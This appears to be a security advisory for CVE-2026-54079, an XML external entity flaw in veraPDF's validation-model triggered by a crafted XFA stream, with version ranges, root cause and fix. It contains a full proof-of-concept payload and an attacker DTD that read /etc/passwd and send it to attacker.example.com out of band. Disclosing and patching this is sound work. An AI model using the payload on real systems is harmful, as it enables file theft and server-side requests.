highCVE-2026-54079Jul 29, 2026

CVE-2026-54079: veraPDF validation-model XML External Entity Injection via XFA Stream

Rohit Hatagale
AI Security Researcher, SecureLayer7

Submitting a crafted PDF with a malicious XFA stream to veraPDF for PDF/UA-1 validation triggers an unsecured XML parser, letting an attacker read arbitrary server files or make server-side requests.

Packageorg.verapdf:validation-model
Ecosystemmaven
Affected>= 1.17.35, <= 1.30.1
Fixed in1.30.2
CVE-2026-54079: veraPDF validation-model XML External Entity Injection via XFA Stream

The problem

The getdynamicRender() method in GFPDAcroForm.java decodes the PDF's /XFA stream and feeds it straight into a DocumentBuilder created with DocumentBuilderFactory.newInstance() and zero security hardening.

All four standard guards (disallow-doctype-decl, external-general-entities, external-parameter-entities, FEATURE_SECURE_PROCESSING) are left at their insecure defaults. Any PDF validated against the PDF/UA-1 profile triggers this code path automatically, so no special operator action is required.

Proof of concept

A working proof-of-concept for CVE-2026-54079 in org.verapdf:validation-model, with the exact payload below.

xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xdp [
  <!ENTITY % dtd SYSTEM "http://attacker.example.com/evil.dtd">
  %dtd;
  %exfil;
]>
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
  <config>
    <present>
      <pdf>
        <interactive>1</interactive>
      </pdf>
    </present>
  </config>
  <template>
    <subform>
      <pageSet/>
    </subform>
  </template>
  <xfa:datasets xmlns:xfa="http://www.xfa.org/schema/xfa-data/1.0/">
    <dynamicRender>&exfil;</dynamicRender>
  </xfa:datasets>
</xdp:xdp>

<!-- attacker-hosted evil.dtd -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % exfil "<!ENTITY &#x25; send SYSTEM 'http://attacker.example.com/?x=%file;'>">
%send;

The root cause is CWE-611: the DocumentBuilderFactory is instantiated with no arguments and never hardened, so the underlying SAX parser honours DOCTYPE declarations and resolves both general and parameter entities against external URIs.

Because the dynamicRender value is consumed internally and not echoed in the validation report, in-band exfiltration is not reliable. The parameter-entity OOB technique shown above uses a two-stage DTD load: the first %dtd; fetch retrieves an attacker-hosted DTD that defines a nested entity carrying the file contents, then %send; fires a second HTTP request with that content in the query string.

The fix in commits 94caa46c and cacd9436 adds factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true) (and related FEATURE_SECURE_PROCESSING) before constructing the DocumentBuilder, per the OWASP XXE Prevention Cheat Sheet. This causes the parser to throw on any DOCTYPE declaration, blocking the attack entirely.

The fix

Upgrade org.verapdf:validation-model to version 1.30.2 or later. The patch hardens the DocumentBuilderFactory in GFPDAcroForm.java by enabling disallow-doctype-decl and FEATURE_SECURE_PROCESSING, which prevents any DOCTYPE-based XXE. If an immediate upgrade is not possible, restrict the network egress of the process running veraPDF to block outbound connections from the JVM as a temporary mitigation against OOB exfiltration.

Reported by wodzen.

References: [1][2][3][4][5]

Related research